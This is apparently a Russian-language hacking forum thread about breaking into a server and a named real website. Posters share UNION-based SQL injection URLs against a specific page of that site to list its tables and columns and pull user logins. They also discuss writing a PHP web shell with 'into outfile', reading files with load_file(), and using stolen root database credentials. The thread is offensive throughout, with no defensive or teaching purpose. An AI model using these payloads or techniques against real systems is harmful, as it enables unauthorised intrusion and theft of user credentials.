killerben, тег iframe подгружает страницу с удаленного сервера, и если ты подгрузишь там код, то это ничего не даст, он выполнится на удаленном сервере, а не на атакуемом, я тебе дал ссылку, внимательно почитай что там написано, и какие методы могут быть, вопросы отпадут сами собой!

есть сервачек с провами роот, через уязвимость скрипта не получается залить шелл так как фельтруются ковычки, вытянул логин и пасс от бд, прова роот, через пхпмиадмин не хочет с этими даными заходить, хотя удаленно по этим же данным подключается, знаю апсолютные пути к сайту и папкам с возможностью заливкой файла, на запрос select 'blabla' into outfile '/blabla/bla.php' ругается, в чем таробла, что делаю не так?!

такой вопрос

есть таблица узерс

http://www.sportbars.ru/view_transl.php?id=820+UnIon+selECt+1,2,table_name ,4,5,6,7,8,9,10,11,12,13,14,15+from+information_sc hema.tables+limit+31,1--+

хочувывести от туда хотябы логины

http://www.sportbars.ru/view_transl.php?id=820+UnIon+selECt+1,2,column_nam e,4,5,6,7,8,9,10,11,12,13,14,15+from+information_s chema.columns+where+table_name=0x7573657273+limit+ 12,1--+

ничего не выводит

http://www.sportbars.ru/view_transl.php?id=820+UnIon+selECt+1,2,ulogin,4,5 ,6,7,8,9,10,11,12,13,14,15+from+users--+

почему?

http://www.sportbars.ru/view_transl.php?id=820+UnIon+selECt+1,2,ulogin,4,5 %20,6,7,8,9,10,11,12,13,14,15+from+lol.users+limit +0,1--+

ухты, спасибо, а можно поинтерисоватся, а lol.users

интерисует вот ето lol. можете обяснить што ето откуда почиму и как?

Это база в которой находится данная таблица.

Узнается так

union select table_schema from information_schema.tables where table_name='users'

прав хвотает, и сами сайты с БД на одном сервере, это подтверждает то что есть возможность с БД заливать файлы в папку /tmp/ и и прсоматривать то что залито через load_file()

А разве папки /tmp/ не должно быть на сервере где стоит БД?

И даже если так, сервер у них один, то ничего не меняется, прав может не быть на создание файла в директориях видные из веб, а то что в tmp пишется это понятно, т.к. права к этой папке у всех пользователей системы.